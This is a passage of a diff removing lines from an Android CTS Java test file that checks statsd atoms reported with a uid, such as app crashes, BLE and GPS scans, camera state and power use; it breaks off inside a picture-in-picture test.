- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.android.os.AtomsProto.IntegrityCheckResultReported.Response.ALLOWED;
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.AppOpEnum;
-import android.net.wifi.WifiModeEnum;
-import android.os.WakeLockLevelEnum;
-import android.server.ErrorSource;
-import android.telephony.NetworkTypeEnum;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.PropertyUtil;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto;
-import com.android.os.AtomsProto.ANROccurred;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.AppCrashOccurred;
-import com.android.os.AtomsProto.AppOps;
-import com.android.os.AtomsProto.AppStartOccurred;
-import com.android.os.AtomsProto.AppUsageEventOccurred;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AttributedAppOps;
-import com.android.os.AtomsProto.AttributionNode;
-import com.android.os.AtomsProto.AudioStateChanged;
-import com.android.os.AtomsProto.BinderCalls;
-import com.android.os.AtomsProto.BleScanResultReceived;
-import com.android.os.AtomsProto.BleScanStateChanged;
-import com.android.os.AtomsProto.BlobCommitted;
-import com.android.os.AtomsProto.BlobLeased;
-import com.android.os.AtomsProto.BlobOpened;
-import com.android.os.AtomsProto.CameraStateChanged;
-import com.android.os.AtomsProto.DangerousPermissionState;
-import com.android.os.AtomsProto.DangerousPermissionStateSampled;
-import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
-import com.android.os.AtomsProto.FlashlightStateChanged;
-import com.android.os.AtomsProto.ForegroundServiceAppOpSessionEnded;
-import com.android.os.AtomsProto.ForegroundServiceStateChanged;
-import com.android.os.AtomsProto.GpsScanStateChanged;
-import com.android.os.AtomsProto.HiddenApiUsed;
-import com.android.os.AtomsProto.IntegrityCheckResultReported;
-import com.android.os.AtomsProto.IonHeapSize;
-import com.android.os.AtomsProto.LmkKillOccurred;
-import com.android.os.AtomsProto.LooperStats;
-import com.android.os.AtomsProto.MediaCodecStateChanged;
-import com.android.os.AtomsProto.NotificationReported;
-import com.android.os.AtomsProto.OverlayStateChanged;
-import com.android.os.AtomsProto.PackageNotificationChannelGroupPreferences;
-import com.android.os.AtomsProto.PackageNotificationChannelPreferences;
-import com.android.os.AtomsProto.PackageNotificationPreferences;
-import com.android.os.AtomsProto.PictureInPictureStateChanged;
-import com.android.os.AtomsProto.ProcessMemoryHighWaterMark;
-import com.android.os.AtomsProto.ProcessMemorySnapshot;
-import com.android.os.AtomsProto.ProcessMemoryState;
-import com.android.os.AtomsProto.ScheduledJobStateChanged;
-import com.android.os.AtomsProto.SettingSnapshot;
-import com.android.os.AtomsProto.SyncStateChanged;
-import com.android.os.AtomsProto.TestAtomReported;
-import com.android.os.AtomsProto.UiEventReported;
-import com.android.os.AtomsProto.VibratorStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.AtomsProto.WakeupAlarmOccurred;
-import com.android.os.AtomsProto.WifiLockStateChanged;
-import com.android.os.AtomsProto.WifiMulticastLockStateChanged;
-import com.android.os.AtomsProto.WifiScanStateChanged;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.server.notification.SmallHash;
-import com.android.tradefed.log.LogUtil;
-import com.google.common.collect.Range;
-import com.google.protobuf.Descriptors;
-import java.io.File;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-
-/**
- * Statsd atom tests that are done via app, for atoms that report a uid.
- */
-public class UidAtomTests extends DeviceAtomTestCase {
-
-    private static final String TAG = "Statsd.UidAtomTests";
-
-    private static final String TEST_PACKAGE_NAME = "com.android.server.cts.device.statsd";
-
-    private static final boolean DAVEY_ENABLED = false;
-
-    private static final int NUM_APP_OPS = AttributedAppOps.getDefaultInstance().getOp().
-            getDescriptorForType().getValues().size() - 1;
-
-    private static final String TEST_INSTALL_APK = "CtsStatsdEmptyApp.apk";
-    private static final String TEST_INSTALL_APK_BASE = "CtsStatsdEmptySplitApp.apk";
-    private static final String TEST_INSTALL_APK_SPLIT = "CtsStatsdEmptySplitApp_pl.apk";
-    private static final String TEST_INSTALL_PACKAGE =
-            "com.android.cts.device.statsd.emptyapp";
-    private static final String TEST_REMOTE_DIR = "/data/local/tmp/statsd";
-    private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-
-    private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
-    private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when app starting/stopping.
-    private static final int STATSD_REPORT_WAIT_TIME_MS = 500; // make sure statsd finishes log.
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        resetBatteryStatus();
-        super.tearDown();
-    }
-
-    public void testLmkKillOccurred() throws Exception {
-        if (!"true".equals(getProperty("ro.lmk.log_stats"))) {
-            return;
-        }
-
-        final int atomTag = Atom.LMK_KILL_OCCURRED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, false);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        executeBackgroundService(ACTION_LMK);
-        Thread.sleep(15_000);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertThat(data).hasSize(1);
-        assertThat(data.get(0).getAtom().hasLmkKillOccurred()).isTrue();
-        LmkKillOccurred atom = data.get(0).getAtom().getLmkKillOccurred();
-        assertThat(atom.getUid()).isEqualTo(getUid());
-        assertThat(atom.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-        assertThat(atom.getOomAdjScore()).isAtLeast(500);
-    }
-
-    public void testAppCrashOccurred() throws Exception {
-        final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runActivity("StatsdCtsForegroundActivity", "action", "action.crash");
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
-        assertThat(atom.getEventType()).isEqualTo("crash");
-        assertThat(atom.getIsInstantApp().getNumber())
-            .isEqualTo(AppCrashOccurred.InstantApp.FALSE_VALUE);
-        assertThat(atom.getForegroundState().getNumber())
-            .isEqualTo(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
-        assertThat(atom.getPackageName()).isEqualTo(TEST_PACKAGE_NAME);
-    }
-
-    public void testAppStartOccurred() throws Exception {
-        final int atomTag = Atom.APP_START_OCCURRED_FIELD_NUMBER;
-
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runActivity("StatsdCtsForegroundActivity", "action", "action.sleep_top", 3_500);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertThat(data).hasSize(1);
-        AppStartOccurred atom = data.get(0).getAtom().getAppStartOccurred();
-        assertThat(atom.getPkgName()).isEqualTo(TEST_PACKAGE_NAME);
-        assertThat(atom.getActivityName())
-            .isEqualTo("com.android.server.cts.device.statsd.StatsdCtsForegroundActivity");
-        assertThat(atom.getIsInstantApp()).isFalse();
-        assertThat(atom.getActivityStartMillis()).isGreaterThan(0L);
-        assertThat(atom.getTransitionDelayMillis()).isGreaterThan(0);
-    }
-
-    public void testAudioState() throws Exception {
-        if (!hasFeature(FEATURE_AUDIO_OUTPUT, true)) return;
-
-        final int atomTag = Atom.AUDIO_STATE_CHANGED_FIELD_NUMBER;
-        final String name = "testAudioState";
-
-        Set<Integer> onState = new HashSet<>(
-                Arrays.asList(AudioStateChanged.State.ON_VALUE));
-        Set<Integer> offState = new HashSet<>(
-                Arrays.asList(AudioStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Because the timestamp is truncated, we skip checking time differences between state
-        // changes.
-        assertStatesOccurred(stateSet, data, 0,
-                atom -> atom.getAudioStateChanged().getState().getNumber());
-
-        // Check that timestamp is truncated
-        for (EventMetricData metric : data) {
-            long elapsedTimestampNs = metric.getElapsedTimestampNanos();
-            assertTimestampIsTruncated(elapsedTimestampNs);
-        }
-    }
-
-    public void testBleScan() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-
-        final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
-        final int field = BleScanStateChanged.STATE_FIELD_NUMBER;
-        final int stateOn = BleScanStateChanged.State.ON_VALUE;
-        final int stateOff = BleScanStateChanged.State.OFF_VALUE;
-        final int minTimeDiffMillis = 1_500;
-        final int maxTimeDiffMillis = 3_000;
-
-        List<EventMetricData> data = doDeviceMethodOnOff("testBleScanUnoptimized", atom, field,
-                stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
-
-        BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
-        BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-    }
-
-    public void testBleUnoptimizedScan() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-
-        final int atom = Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER;
-        final int field = BleScanStateChanged.STATE_FIELD_NUMBER;
-        final int stateOn = BleScanStateChanged.State.ON_VALUE;
-        final int stateOff = BleScanStateChanged.State.OFF_VALUE;
-        final int minTimeDiffMillis = 1_500;
-        final int maxTimeDiffMillis = 3_000;
-
-        List<EventMetricData> data = doDeviceMethodOnOff("testBleScanUnoptimized", atom, field,
-                stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
-
-        BleScanStateChanged a0 = data.get(0).getAtom().getBleScanStateChanged();
-        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-        assertThat(a0.getIsFiltered()).isFalse();
-        assertThat(a0.getIsFirstMatch()).isFalse();
-        assertThat(a0.getIsOpportunistic()).isFalse();
-        BleScanStateChanged a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-        assertThat(a1.getIsFiltered()).isFalse();
-        assertThat(a1.getIsFirstMatch()).isFalse();
-        assertThat(a1.getIsOpportunistic()).isFalse();
-
-
-        // Now repeat the test for opportunistic scanning and make sure it is reported correctly.
-        data = doDeviceMethodOnOff("testBleScanOpportunistic", atom, field,
-                stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
-
-        a0 = data.get(0).getAtom().getBleScanStateChanged();
-        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-        assertThat(a0.getIsFiltered()).isFalse();
-        assertThat(a0.getIsFirstMatch()).isFalse();
-        assertThat(a0.getIsOpportunistic()).isTrue();  // This scan is opportunistic.
-        a1 = data.get(1).getAtom().getBleScanStateChanged();
-        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-        assertThat(a1.getIsFiltered()).isFalse();
-        assertThat(a1.getIsFirstMatch()).isFalse();
-        assertThat(a1.getIsOpportunistic()).isTrue();
-    }
-
-    public void testBleScanResult() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-
-        final int atom = Atom.BLE_SCAN_RESULT_RECEIVED_FIELD_NUMBER;
-        final int field = BleScanResultReceived.NUM_RESULTS_FIELD_NUMBER;
-
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atom, createFvm(field).setGteInt(0));
-        List<EventMetricData> data = doDeviceMethod("testBleScanResult", conf);
-
-        assertThat(data.size()).isAtLeast(1);
-        BleScanResultReceived a0 = data.get(0).getAtom().getBleScanResultReceived();
-        assertThat(a0.getNumResults()).isAtLeast(1);
-    }
-
-    public void testHiddenApiUsed() throws Exception {
-        String oldRate = getDevice().executeShellCommand(
-                "device_config get app_compat hidden_api_access_statslog_sampling_rate").trim();
-
-        getDevice().executeShellCommand(
-                "device_config put app_compat hidden_api_access_statslog_sampling_rate 65536");
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        try {
-            final int atomTag = Atom.HIDDEN_API_USED_FIELD_NUMBER;
-
-            createAndUploadConfig(atomTag, false);
-
-            runActivity("HiddenApiUsedActivity", null, null, 2_500);
-
-            List<EventMetricData> data = getEventMetricDataList();
-            assertThat(data).hasSize(1);
-
-            HiddenApiUsed atom = data.get(0).getAtom().getHiddenApiUsed();
-
-            int uid = getUid();
-            assertThat(atom.getUid()).isEqualTo(uid);
-            assertThat(atom.getAccessDenied()).isFalse();
-            assertThat(atom.getSignature())
-                .isEqualTo("Landroid/app/Activity;->mWindow:Landroid/view/Window;");
-        } finally {
-            if (!oldRate.equals("null")) {
-                getDevice().executeShellCommand(
-                        "device_config put app_compat hidden_api_access_statslog_sampling_rate "
-                        + oldRate);
-            } else {
-                getDevice().executeShellCommand(
-                        "device_config delete hidden_api_access_statslog_sampling_rate");
-            }
-        }
-    }
-
-    public void testCameraState() throws Exception {
-        if (!hasFeature(FEATURE_CAMERA, true) && !hasFeature(FEATURE_CAMERA_FRONT, true)) return;
-
-        final int atomTag = Atom.CAMERA_STATE_CHANGED_FIELD_NUMBER;
-        Set<Integer> cameraOn = new HashSet<>(Arrays.asList(CameraStateChanged.State.ON_VALUE));
-        Set<Integer> cameraOff = new HashSet<>(Arrays.asList(CameraStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(cameraOn, cameraOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testCameraState");
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_LONG,
-                atom -> atom.getCameraStateChanged().getState().getNumber());
-    }
-
-    public void testCpuTimePerUid() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, null);
-
-        uploadConfig(config);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        // TODO: We don't have atom matching on gauge yet. Let's refactor this after that feature is
-        // implemented.
-        boolean found = false;
-        int uid = getUid();
-        for (Atom atom : atomList) {
-            if (atom.getCpuTimePerUid().getUid() == uid) {
-                found = true;
-                assertThat(atom.getCpuTimePerUid().getUserTimeMicros()).isGreaterThan(0L);
-                assertThat(atom.getCpuTimePerUid().getSysTimeMicros()).isGreaterThan(0L);
-            }
-        }
-        assertWithMessage(String.format("did not find uid %d", uid)).that(found).isTrue();
-    }
-
-    public void testDeviceCalculatedPowerUse() throws Exception {
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        unplugDevice();
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        Atom atom = getGaugeMetricDataList().get(0);
-        assertThat(atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs())
-            .isGreaterThan(0L);
-    }
-
-
-    public void testDeviceCalculatedPowerBlameUid() throws Exception {
-        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
-        if (!hasBattery()) {
-            return;
-        }
-
-        String kernelVersion = getDevice().executeShellCommand("uname -r");
-        if (kernelVersion.contains("3.18")) {
-            LogUtil.CLog.d("Skipping calculated power blame uid test.");
-            return;
-        }
-
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                Atom.DEVICE_CALCULATED_POWER_BLAME_UID_FIELD_NUMBER, null);
-        uploadConfig(config);
-        unplugDevice();
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> atomList = getGaugeMetricDataList();
-        boolean uidFound = false;
-        int uid = getUid();
-        long uidPower = 0;
-        for (Atom atom : atomList) {
-            DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
-                if (item.getUid() == uid) {
-                assertWithMessage(String.format("Found multiple power values for uid %d", uid))
-                    .that(uidFound).isFalse();
-                uidFound = true;
-                uidPower = item.getPowerNanoAmpSecs();
-            }
-        }
-        assertWithMessage(String.format("No power value for uid %d", uid)).that(uidFound).isTrue();
-        assertWithMessage(String.format("Non-positive power value for uid %d", uid))
-            .that(uidPower).isGreaterThan(0L);
-    }
-
-    public void testDavey() throws Exception {
-        if (!DAVEY_ENABLED ) return;
-        long MAX_DURATION = 2000;
-        long MIN_DURATION = 750;
-        final int atomTag = Atom.DAVEY_OCCURRED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, false); // UID is logged without attribution node
-
-        runActivity("DaveyActivity", null, null);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(1);
-        long duration = data.get(0).getAtom().getDaveyOccurred().getJankDurationMillis();
-        assertWithMessage("Incorrect jank duration")
-            .that(duration).isIn(Range.closed(MIN_DURATION, MAX_DURATION));
-    }
-
-    public void testFlashlightState() throws Exception {
-        if (!hasFeature(FEATURE_CAMERA_FLASH, true)) return;
-
-        final int atomTag = Atom.FLASHLIGHT_STATE_CHANGED_FIELD_NUMBER;
-        final String name = "testFlashlight";
-
-        Set<Integer> flashlightOn = new HashSet<>(
-            Arrays.asList(FlashlightStateChanged.State.ON_VALUE));
-        Set<Integer> flashlightOff = new HashSet<>(
-            Arrays.asList(FlashlightStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(flashlightOn, flashlightOff);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getFlashlightStateChanged().getState().getNumber());
-    }
-
-    public void testForegroundServiceState() throws Exception {
-        final int atomTag = Atom.FOREGROUND_SERVICE_STATE_CHANGED_FIELD_NUMBER;
-        final String name = "testForegroundService";
-
-        Set<Integer> enterForeground = new HashSet<>(
-                Arrays.asList(ForegroundServiceStateChanged.State.ENTER_VALUE));
-        Set<Integer> exitForeground = new HashSet<>(
-                Arrays.asList(ForegroundServiceStateChanged.State.EXIT_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(enterForeground, exitForeground);
-
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
-                atom -> atom.getForegroundServiceStateChanged().getState().getNumber());
-    }
-
-
-    public void testForegroundServiceAccessAppOp() throws Exception {
-        final int atomTag = Atom.FOREGROUND_SERVICE_APP_OP_SESSION_ENDED_FIELD_NUMBER;
-        final String name = "testForegroundServiceAccessAppOp";
-
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", name);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertWithMessage("Wrong atom size").that(data.size()).isEqualTo(3);
-        for (int i = 0; i < data.size(); i++) {
-            ForegroundServiceAppOpSessionEnded atom
-                    = data.get(i).getAtom().getForegroundServiceAppOpSessionEnded();
-            final int opName = atom.getAppOpName().getNumber();
-            final int acceptances = atom.getCountOpsAccepted();
-            final int rejections = atom.getCountOpsRejected();
-            final int count = acceptances + rejections;
-            int expectedCount = 0;
-            switch (opName) {
-                case AppOpEnum.APP_OP_CAMERA_VALUE:
-                    expectedCount = 3;
-                    break;
-                case AppOpEnum.APP_OP_FINE_LOCATION_VALUE:
-                    expectedCount = 1;
-                    break;
-                case AppOpEnum.APP_OP_RECORD_AUDIO_VALUE:
-                    expectedCount = 2;
-                    break;
-                case AppOpEnum.APP_OP_COARSE_LOCATION_VALUE:
-                    // fall-through
-                default:
-                    fail("Unexpected opName " + opName);
-            }
-            assertWithMessage("Wrong count for " + opName).that(count).isEqualTo(expectedCount);
-        }
-    }
-
-    public void testGpsScan() throws Exception {
-        if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
-        // Whitelist this app against background location request throttling
-        String origWhitelist = getDevice().executeShellCommand(
-                "settings get global location_background_throttle_package_whitelist").trim();
-        getDevice().executeShellCommand(String.format(
-                "settings put global location_background_throttle_package_whitelist %s",
-                DEVICE_SIDE_TEST_PACKAGE));
-
-        try {
-            final int atom = Atom.GPS_SCAN_STATE_CHANGED_FIELD_NUMBER;
-            final int key = GpsScanStateChanged.STATE_FIELD_NUMBER;
-            final int stateOn = GpsScanStateChanged.State.ON_VALUE;
-            final int stateOff = GpsScanStateChanged.State.OFF_VALUE;
-            final int minTimeDiffMillis = 500;
-            final int maxTimeDiffMillis = 60_000;
-
-            List<EventMetricData> data = doDeviceMethodOnOff("testGpsScan", atom, key,
-                    stateOn, stateOff, minTimeDiffMillis, maxTimeDiffMillis, true);
-
-            GpsScanStateChanged a0 = data.get(0).getAtom().getGpsScanStateChanged();
-            GpsScanStateChanged a1 = data.get(1).getAtom().getGpsScanStateChanged();
-            assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
-            assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
-        } finally {
-            if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
-                getDevice().executeShellCommand(
-                        "settings delete global location_background_throttle_package_whitelist");
-            } else {
-                getDevice().executeShellCommand(String.format(
-                        "settings put global location_background_throttle_package_whitelist %s",
-                        origWhitelist));
-            }
-        }
-    }
-
-    public void testGnssStats() throws Exception {
-        // Get GnssMetrics as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.GNSS_STATS_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        if (!hasFeature(FEATURE_LOCATION_GPS, true)) return;
-        // Whitelist this app against background location request throttling
-        String origWhitelist = getDevice().executeShellCommand(
-                "settings get global location_background_throttle_package_whitelist").trim();
-        getDevice().executeShellCommand(String.format(
-                "settings put global location_background_throttle_package_whitelist %s",
-                DEVICE_SIDE_TEST_PACKAGE));
-
-        try {
-            runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGpsStatus");
-
-            Thread.sleep(WAIT_TIME_LONG);
-            // Trigger a pull and wait for new pull before killing the process.
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-
-            // Assert about GnssMetrics for the test app.
-            List<Atom> atoms = getGaugeMetricDataList();
-
-            boolean found = false;
-            for (Atom atom : atoms) {
-                AtomsProto.GnssStats state = atom.getGnssStats();
-                found = true;
-                if ((state.getSvStatusReports() > 0 || state.getL5SvStatusReports() > 0)
-                        && state.getLocationReports() == 0) {
-                    // Device is detected to be indoors and not able to acquire location.
-                    // flaky test device
-                    break;
-                }
-                assertThat(state.getLocationReports()).isGreaterThan((long) 0);
-                assertThat(state.getLocationFailureReports()).isAtLeast((long) 0);
-                assertThat(state.getTimeToFirstFixReports()).isGreaterThan((long) 0);
-                assertThat(state.getTimeToFirstFixMillis()).isGreaterThan((long) 0);
-                assertThat(state.getPositionAccuracyReports()).isGreaterThan((long) 0);
-                assertThat(state.getPositionAccuracyMeters()).isGreaterThan((long) 0);
-                assertThat(state.getTopFourAverageCn0Reports()).isGreaterThan((long) 0);
-                assertThat(state.getTopFourAverageCn0DbMhz()).isGreaterThan((long) 0);
-                assertThat(state.getL5TopFourAverageCn0Reports()).isAtLeast((long) 0);
-                assertThat(state.getL5TopFourAverageCn0DbMhz()).isAtLeast((long) 0);
-                assertThat(state.getSvStatusReports()).isAtLeast((long) 0);
-                assertThat(state.getSvStatusReportsUsedInFix()).isAtLeast((long) 0);
-                assertThat(state.getL5SvStatusReports()).isAtLeast((long) 0);
-                assertThat(state.getL5SvStatusReportsUsedInFix()).isAtLeast((long) 0);
-            }
-            assertWithMessage(String.format("Did not find a matching atom"))
-                    .that(found).isTrue();
-        } finally {
-            if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
-                getDevice().executeShellCommand(
-                        "settings delete global location_background_throttle_package_whitelist");
-            } else {
-                getDevice().executeShellCommand(String.format(
-                        "settings put global location_background_throttle_package_whitelist %s",
-                        origWhitelist));
-            }
-        }
-    }
-
-    public void testMediaCodecActivity() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        final int atomTag = Atom.MEDIA_CODEC_STATE_CHANGED_FIELD_NUMBER;
-
-        // 5 seconds. Starting video tends to be much slower than most other
-        // tests on slow devices. This is unfortunate, because it leaves a
-        // really big slop in assertStatesOccurred.  It would be better if
-        // assertStatesOccurred had a tighter range on large timeouts.
-        final int waitTime = 5000;
-
-        // From {@link VideoPlayerActivity#DELAY_MILLIS}
-        final int videoDuration = 2000;
-
-        Set<Integer> onState = new HashSet<>(
-                Arrays.asList(MediaCodecStateChanged.State.ON_VALUE));
-        Set<Integer> offState = new HashSet<>(
-                Arrays.asList(MediaCodecStateChanged.State.OFF_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
-
-        createAndUploadConfig(atomTag, true);  // True: uses attribution.
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runActivity("VideoPlayerActivity", "action", "action.play_video",
-            waitTime);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        assertStatesOccurred(stateSet, data, videoDuration,
-                atom -> atom.getMediaCodecStateChanged().getState().getNumber());
-    }
-
-    public void testOverlayState() throws Exception {
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
-
-        Set<Integer> entered = new HashSet<>(
-                Arrays.asList(OverlayStateChanged.State.ENTERED_VALUE));
-        Set<Integer> exited = new HashSet<>(
-                Arrays.asList(OverlayStateChanged.State.EXITED_VALUE));
-
-        // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(entered, exited);
-
-        createAndUploadConfig(atomTag, false);
-
-        runActivity("StatsdCtsForegroundActivity", "action", "action.show_application_overlay",
-                5_000);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        // Assert that the events happened in the expected order.
-        // The overlay box should appear about 2sec after the app start
-        assertStatesOccurred(stateSet, data, 0,
-                atom -> atom.getOverlayStateChanged().getState().getNumber());
-    }
-
-    public void testPictureInPictureState() throws Exception {
-        String supported = getDevice().executeShellCommand("am supports-multiwindow");
-        if (!hasFeature(FEATURE_WATCH, false) ||
-                !hasFeature(FEATURE_PICTURE_IN_PICTURE, true) ||
-                !supported.contains("true")) {
-            LogUtil.CLog.d("Skipping picture in picture atom test.");
-            return;
-        }
-
-        StatsdConfig.Builder conf = createConfigBuilder();
-        // PictureInPictureStateChanged atom is used prior to rvc-qpr
-        addAtomEvent(conf, Atom.PICTURE_IN_PICTURE_STATE_CHANGED_FIELD_NUMBER,
-                /*useAttribution=*/false);
-        // Picture-in-picture logs' been migrated to UiEvent since rvc-qpr
-        FieldValueMatcher.Builder pkgMatcher = createFvm(UiEventReported.PACKAGE_NAME_FIELD_NUMBER)
-                .setEqString(DEVICE_SIDE_TEST_PACKAGE);
